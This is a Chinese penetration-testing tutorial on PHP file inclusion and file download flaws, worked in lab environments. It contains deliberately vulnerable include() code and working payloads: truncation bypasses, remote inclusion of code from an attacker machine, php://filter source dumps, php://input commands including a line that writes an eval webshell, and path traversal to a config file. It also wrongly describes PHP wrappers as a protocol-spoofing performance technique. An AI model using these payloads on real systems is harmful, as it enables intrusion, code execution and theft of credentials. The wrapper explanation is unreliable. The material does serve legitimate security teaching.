【网安-Web渗透测试-漏洞系列】文件包含&下载读取

文件上传漏洞

一、文件包含漏洞概念

① 文件包含是把指定的文件当成代码执星。文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)。

② 文件包含分为了本地包含远程包含 。本地包含只能含有服务器已有的问题,当服务器没有需要包含的文件,那么,需配合其它漏洞的使用。远程包含是指包含一切网络上的文件,因此,危害性大于本地包含。

③ 检测该漏洞的有白盒与黑盒的方式。白盒是指通过代码审计的方式;而黑盒是指公开的漏洞,需手动看参数和功能点。

二、运行环境

(1)环境一

名称
操作系统 Windows 2003
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

(2)环境二

名称
操作系统 Windows 10
中间件 phpStudy (PHP 5.2.17)

说明: 此环境为upload-labs-env靶场专用,在使用该靶场时,请先关闭其它版本的phpstudy。无需MySQL支持。

三、本地包含

此部分需要在"环境二"中运行,即在upload-labs-env靶场中操作。

1、无限制的文件包含操作

Step1:新建upload.php文件

bash 复制代码
<?php
 $filename=$_GET['filename'];
 include ( $filename);
?>

Step2:新建1.txt文件,与upload.php在同一目录

bash 复制代码
<?php phpinfo(); ?>

Step3:将1.txt当成代码运行

bash 复制代码
http://127.0.0.1/upload.php?filename=1.txt

2、有限制的文件包含操作

(1)%00截断

Step1:新建upload2.php⽂件

bash 复制代码
<?php
 $filename=$_GET['filename'];
 include($filename.".html");
?>

Step2:开始访问

在页面中,文件加载失败,此时需要利用一定的方法将其绕过。
Step3:使用%00绕过

bash 复制代码
http://127.0.0.1/upload2.php?filename=1.txt%00

在页面中可以看到,用了%00截断的方式就能绕过检测。

(2)长度截断

长度截断的原理:

Windows长度命名长度限制256个字符(由于磁盘分区需要占用⼀个字符,所以用户只能使⽤255个字符命名⽂件夹。);而Linux⻓度限制4096。

bash 复制代码
http://127.0.0.1/upload2.php?filename=1.txt.......................................................................................................................................................................................................................................................................................................

四、远程包含

说明:

① 同样地,此部分需要在"环境二 "中运行,即在upload-labs-env靶场中操作。但为了攻击环境二 这个主机,需要自己配备一个虚拟机或主机作为攻击机。此部分的攻击机为虚拟机,IP为192.168.179.144,phpstudy的apache服务端口为90。

② 远程包含的危害性高于本地包含,需额外的权限方可开启。默认情况下,查看权限可通过phpinfo();中的allow_url_includ,要求状态必须为On。

③ allow_url_includ配置专门针对PHP的include、include_once、requite及require_once语句。当allow_url_include被设置为On时,PHP允许通过URL的形式,从远程服务器包含和执行PHP文件。

1、无限制的文件包含操作

Step1:新建upload.php文件

bash 复制代码
<?php
 $filename=$_GET['filename'];
 include ( $filename);
?>

Step2:在含有phpstudy的虚拟机(192.168.179.144)中新建1.txt文件

bash 复制代码
# 此为1.txt
<?php phpinfo(); ?>

Step3:访问1.txt文件

bash 复制代码
http://192.168.179.144:90/1.txt
bash 复制代码
http://127.0.0.1/upload.php?filename=http://192.168.179.144:90/1.txt

2、有限制的文件包含操作

Step1:访问此地址时,提示文件打开失败

bash 复制代码
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt


Step2:远程文件是可控的。为了绕过检测,将文件更名为1.txt.html。

Step3:将1.txt.html远程引入到目标主机中加载

bash 复制代码
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt.html


Step4:重新修改地址后,再次访问

说明: 直接将1.txt.html改为了1.txt后,输出了phpinfo的信息。而此时攻击机(192.168.179.144)中的文件依然是1.txt.html。但将攻击机中的文件改为1.txt则会打开失败,与Step1的显示如出一辙。

bash 复制代码
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt

五、PHP伪协议 (PHP Protocol Override)

它是⼀种在PHP处理数据时,通过替换数据报的头部信息来欺骗⽹

络协议的⽅式,来提⾼性能的技术。

支持的伪协议:

协议名 作用
file:// 访问本地⽂件系统
http:// 访问 HTTP(s) ⽹址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的⽂件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// ⾳频流
expect:// 处理交互式的流

1、http://、https://

URL形式,允许通过HTTP1.0的GET方法,以读取访问文件或资源,通常用于远程包含。

bash 复制代码
http://127.0.0.1/upload.php?filename=http://192.168.179.144:90/1.txt

2、filter

php://filter用于读取完整源码。相信信息可通过PHP官网获取。

读取中upload.php⽂件以base64编码输出:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

3、input

(1)php://input的使用

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执⾏。

地址部分:

bash 复制代码
http://127.0.0.1/include.php?file=php://input

POST DATA部分:

bash 复制代码
<?php phpinfo(); ?>

(2)查看服务器的版本

地址部分:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://input

POST DATA部分:

bash 复制代码
<?php system('ver')?>

(3)执行ipconfig

地址部分:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://input

POST DATA部分:

bash 复制代码
<?php system('ipconfig')?>

(4)写⼀句话木马

地址部分:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://input

POST DATA部分:

bash 复制代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

4、file

用于访问本地文件系统,file://需要的是完整的路径。

(1)访问hosts⽂件

bash 复制代码
http://127.0.0.1/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

5、data

以传递相应格式的数据。通常可以用来执行PHP代码。

(1)正常使用

bash 复制代码
http://127.0.0.1/upload.php?filename=data://text/plain,<?php phpinfo(); ?>

(2)加载存在编码的地址

bash 复制代码
PD9waHAgcGhwaW5mbygpOz8+ 
# 转码后: 
 <?php phpinfo();?> 
bash 复制代码
http://127.0.0.1/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

说明:

为何在地址中存在%2b,而非直接显示为"+"呢?这是因为除了数字、大小写字母和下划线之外,其它字符均被URL地址理解为特殊字符,需要进行特殊转移。例如%2b中的2b代表ASCII的43,对应的符合为"+"。

特殊符号的举例如下:

1.+ URL 中+号表示空格 %2B

2.空格 URL中的空格可以用+号或者编码 %20

3./ 分隔目录和子目录 %2F

4.? 分隔实际的 URL 和参数 %3F

5.% 指定特殊字符 %25

6.# 表示书签 %23

7.& URL 中指定的参数间的分隔符 %26

8.= URL 中指定参数的值 %3D

六、文件下载/读取漏洞

文件下载/读取漏洞与文件包含漏洞类似,通过下载的方式获取敏感文件。此部分用的是环境一

bash 复制代码
http://192.168.179.144:90/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pikachu

(2)安装pikachu

Step1:在数据库中新建pikachu数据库;
Step2:自定义修改inc/config.inc.php文件里面的参数;
Step3:访问如下安装地址后点击"安装/初始化"按钮;并提示安装成功

bash 复制代码
http://192.168.179.144:90/pikachu/install.php


Step4:访问Unsafe Filedownload页面

bash 复制代码
http://192.168.179.144:90/pikachu/vul/unsafedownload/down_nba.php


利用http获取站点内的配置文件:

bash 复制代码
http://192.168.179.144:90/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

访问后提示下载文件:

此漏洞如果不注意,会导致项目内的核心文件被下载。

相关推荐
月明长歌6 小时前
网络原理初识:从“几台电脑各干各的”到“数据包跨网段飞奔”的一整套思维模型
网络·计算机网络·电脑·php
乾元6 小时前
模型提取:黑盒环境下如何窃取对手的 AI 模型参数
网络·人工智能·安全·web安全·机器学习·架构·系统架构
сокол6 小时前
【网安-Web渗透测试-漏洞系列】文件上传漏洞
web安全·php
сокол7 小时前
【网安-Web渗透测试-漏洞系列】序列化漏洞
web安全·php
zorro_z18 小时前
实战SimpleBlog(二):博客发布与管理
php
ShoreKiten19 小时前
ctfshowweb361--一道题从0入门SSTI模板注入
web安全·flask·ssti·ctfshow
独行soc1 天前
2026年渗透测试面试题总结-25(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
AC赳赳老秦1 天前
2026 智能制造趋势:DeepSeek 助力“黑灯”工厂运营,实现生产流程自动化
网络·数据结构·算法·安全·web安全·prometheus·deepseek
一名优秀的码农1 天前
vulhub系列-03-Billu_b0x(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析